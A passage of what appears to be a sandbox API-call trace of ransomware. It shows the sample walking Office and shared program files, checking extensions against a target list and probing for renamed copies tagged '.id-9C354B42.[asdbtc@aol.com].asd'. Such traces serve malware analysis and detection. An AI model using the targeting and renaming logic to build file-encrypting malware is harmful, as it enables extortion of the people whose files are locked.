(lpString1=".ppt", lpString2=".xml") returned -1 [0044.795] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0044.795] lstrlenW (lpString=".zip") returned 4 [0044.795] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.795] lstrlenW (lpString=".rar") returned 4 [0044.795] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.795] lstrlenW (lpString=".bz2") returned 4 [0044.795] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.795] lstrlenW (lpString=".7z") returned 3 [0045.197] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0045.197] lstrlenW (lpString=".dbf") returned 4 [0045.197] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0045.197] lstrlenW (lpString=".1cd") returned 4 [0045.197] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0045.197] lstrlenW (lpString=".jpg") returned 4 [0045.198] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.198] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0045.198] lstrlenW (lpString="auxbase.xml") returned 11 [0045.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0045.430] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1434) returned 1 [0045.430] CloseHandle (hObject=0x1c4) returned 1 [0045.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0045.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0045.431] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0045.431] lstrlenW (lpString=".doc") returned 4 [0045.431] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.431] lstrlenW (lpString=".docx") returned 5 [0045.431] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0045.431] lstrlenW (lpString=".pdf") returned 4 [0045.431] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.431] lstrlenW (lpString=".xls") returned 4 [0045.431] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.431] lstrlenW (lpString=".xlsx") returned 5 [0045.431] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0045.431] lstrlenW (lpString=".ppt") returned 4 [0045.431] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0045.432] lstrlenW (lpString=".zip") returned 4 [0045.432] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.432] lstrlenW (lpString=".rar") returned 4 [0045.432] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.432] lstrlenW (lpString=".bz2") returned 4 [0045.432] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.432] lstrlenW (lpString=".7z") returned 3 [0045.432] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0045.432] lstrlenW (lpString=".dbf") returned 4 [0045.432] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0045.432] lstrlenW (lpString=".1cd") returned 4 [0045.432] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0045.432] lstrlenW (lpString=".jpg") returned 4 [0045.432] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0045.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0045.432] lstrlenW (lpString=".doc") returned 4 [0045.432] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.432] lstrlenW (lpString=".docx") returned 5 [0045.432] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0045.432] lstrlenW (lpString=".pdf") returned 4 [0045.433] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.433] lstrlenW (lpString=".xls") returned 4 [0045.433] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.433] lstrlenW (lpString=".xlsx") returned 5 [0045.433] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0045.433] lstrlenW (lpString=".ppt") returned 4 [0045.433] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0045.433] lstrlenW (lpString=".zip") returned 4 [0045.433] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.433] lstrlenW (lpString=".rar") returned 4 [0045.433] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.433] lstrlenW (lpString=".bz2") returned 4 [0045.433] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.433] lstrlenW (lpString=".7z") returned 3 [0045.433] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0045.433] lstrlenW (lpString=".dbf") returned 4 [0045.433] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0045.433] lstrlenW (lpString=".1cd") returned 4 [0045.433] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0045.433] lstrlenW (lpString=".jpg") returned 4 [0045.433] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.434] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0045.434] lstrlenW (lpString="auxpad.xml") returned 10 [0045.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0045.769] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=212) returned 1 [0045.769] CloseHandle (hObject=0x1c0) returned 1 [0045.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0045.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0045.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0045.770] lstrlenW (lpString=".doc") returned 4 [0045.770] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.770] lstrlenW (lpString=".docx") returned 5 [0045.770] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0045.770] lstrlenW (lpString=".pdf") returned 4 [0045.770] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.770] lstrlenW (lpString=".xls") returned 4 [0045.770] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.770] lstrlenW (lpString=".xlsx") returned 5 [0045.770] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0045.770] lstrlenW (lpString=".ppt") returned 4 [0045.770] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0045.771] lstrlenW (lpString=".zip") returned 4 [0045.771] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.771] lstrlenW (lpString=".rar") returned 4 [0045.771] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.771] lstrlenW (lpString=".bz2") returned 4 [0045.771] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.771] lstrlenW (lpString=".7z") returned 3 [0045.771] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0045.771] lstrlenW (lpString=".dbf") returned 4 [0045.771] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0045.771] lstrlenW (lpString=".1cd") returned 4 [0045.771] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0045.771] lstrlenW (lpString=".jpg") returned 4 [0045.771] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0045.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0045.771] lstrlenW (lpString=".doc") returned 4 [0045.771] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.771] lstrlenW (lpString=".docx") returned 5 [0045.771] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0045.771] lstrlenW (lpString=".pdf") returned 4 [0045.771] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.771] lstrlenW (lpString=".xls") returned 4 [0045.772] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.772] lstrlenW (lpString=".xlsx") returned 5 [0045.772] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0045.772] lstrlenW (lpString=".ppt") returned 4 [0045.772] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0045.772] lstrlenW (lpString=".zip") returned 4 [0045.772] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.772] lstrlenW (lpString=".rar") returned 4 [0045.772] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.772] lstrlenW (lpString=".bz2") returned 4 [0045.772] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.772] lstrlenW (lpString=".7z") returned 3 [0045.772] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0045.772] lstrlenW (lpString=".dbf") returned 4 [0045.772] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0045.772] lstrlenW (lpString=".1cd") returned 4 [0045.772] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0045.772] lstrlenW (lpString=".jpg") returned 4 [0045.772] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.773] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0045.773] lstrlenW (lpString="base_ca.xml") returned 11 [0045.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.380] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=3166) returned 1 [0047.380] CloseHandle (hObject=0x1dc) returned 1 [0047.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0047.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0047.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0047.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0047.380] lstrlenW (lpString=".doc") returned 4 [0047.380] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.380] lstrlenW (lpString=".docx") returned 5 [0047.380] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0047.380] lstrlenW (lpString=".pdf") returned 4 [0047.380] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.380] lstrlenW (lpString=".xls") returned 4 [0047.380] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.380] lstrlenW (lpString=".xlsx") returned 5 [0047.380] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0047.380] lstrlenW (lpString=".ppt") returned 4 [0047.380] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0047.381] lstrlenW (lpString=".zip") returned 4 [0047.381] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.381] lstrlenW (lpString=".rar") returned 4 [0047.381] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString=".bz2") returned 4 [0047.381] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString=".7z") returned 3 [0047.381] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0047.381] lstrlenW (lpString=".dbf") returned 4 [0047.381] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0047.381] lstrlenW (lpString=".1cd") returned 4 [0047.381] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0047.381] lstrlenW (lpString=".jpg") returned 4 [0047.381] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0047.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0047.381] lstrlenW (lpString=".doc") returned 4 [0047.381] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString=".docx") returned 5 [0047.381] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0047.381] lstrlenW (lpString=".pdf") returned 4 [0047.381] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString=".xls") returned 4 [0047.381] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString=".xlsx") returned 5 [0047.381] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0047.381] lstrlenW (lpString=".ppt") returned 4 [0047.382] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0047.382] lstrlenW (lpString=".zip") returned 4 [0047.382] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.382] lstrlenW (lpString=".rar") returned 4 [0047.382] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.382] lstrlenW (lpString=".bz2") returned 4 [0047.382] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.382] lstrlenW (lpString=".7z") returned 3 [0047.382] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0047.382] lstrlenW (lpString=".dbf") returned 4 [0047.382] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0047.382] lstrlenW (lpString=".1cd") returned 4 [0047.382] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0047.382] lstrlenW (lpString=".jpg") returned 4 [0047.382] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.382] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0047.382] lstrlenW (lpString="symbase.xml") returned 11 [0047.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.464] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=2764) returned 1 [0048.464] CloseHandle (hObject=0x1e0) returned 1 [0048.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml")) returned 0x20 [0048.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0048.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0048.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0048.465] lstrlenW (lpString=".doc") returned 4 [0048.465] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.465] lstrlenW (lpString=".docx") returned 5 [0048.465] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0048.465] lstrlenW (lpString=".pdf") returned 4 [0048.465] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.465] lstrlenW (lpString=".xls") returned 4 [0048.465] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.465] lstrlenW (lpString=".xlsx") returned 5 [0048.465] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0048.465] lstrlenW (lpString=".ppt") returned 4 [0048.465] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0048.465] lstrlenW (lpString=".zip") returned 4 [0048.465] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.465] lstrlenW (lpString=".rar") returned 4 [0048.465] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.465] lstrlenW (lpString=".bz2") returned 4 [0048.465] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.465] lstrlenW (lpString=".7z") returned 3 [0048.465] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0048.465] lstrlenW (lpString=".dbf") returned 4 [0048.465] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0048.466] lstrlenW (lpString=".1cd") returned 4 [0048.466] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0048.466] lstrlenW (lpString=".jpg") returned 4 [0048.466] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0048.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0048.466] lstrlenW (lpString=".doc") returned 4 [0048.466] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0048.466] lstrlenW (lpString=".docx") returned 5 [0048.466] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0048.466] lstrlenW (lpString=".pdf") returned 4 [0048.466] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0048.466] lstrlenW (lpString=".xls") returned 4 [0048.466] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0048.466] lstrlenW (lpString=".xlsx") returned 5 [0048.466] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0048.466] lstrlenW (lpString=".ppt") returned 4 [0048.466] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0048.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0048.466] lstrlenW (lpString=".zip") returned 4 [0048.466] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0048.466] lstrlenW (lpString=".rar") returned 4 [0048.466] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0048.466] lstrlenW (lpString=".bz2") returned 4 [0048.466] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0048.466] lstrlenW (lpString=".7z") returned 3 [0048.466] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0048.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0048.467] lstrlenW (lpString=".dbf") returned 4 [0048.467] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0048.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0048.467] lstrlenW (lpString=".1cd") returned 4 [0048.467] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0048.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 84 [0048.467] lstrlenW (lpString=".jpg") returned 4 [0048.467] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0048.467] lstrcmpiW (lpString1=".HTM", lpString2=".asd") returned 1 [0048.467] lstrlenW (lpString="README.HTM") returned 10 [0048.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0048.468] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1941) returned 1 [0048.468] CloseHandle 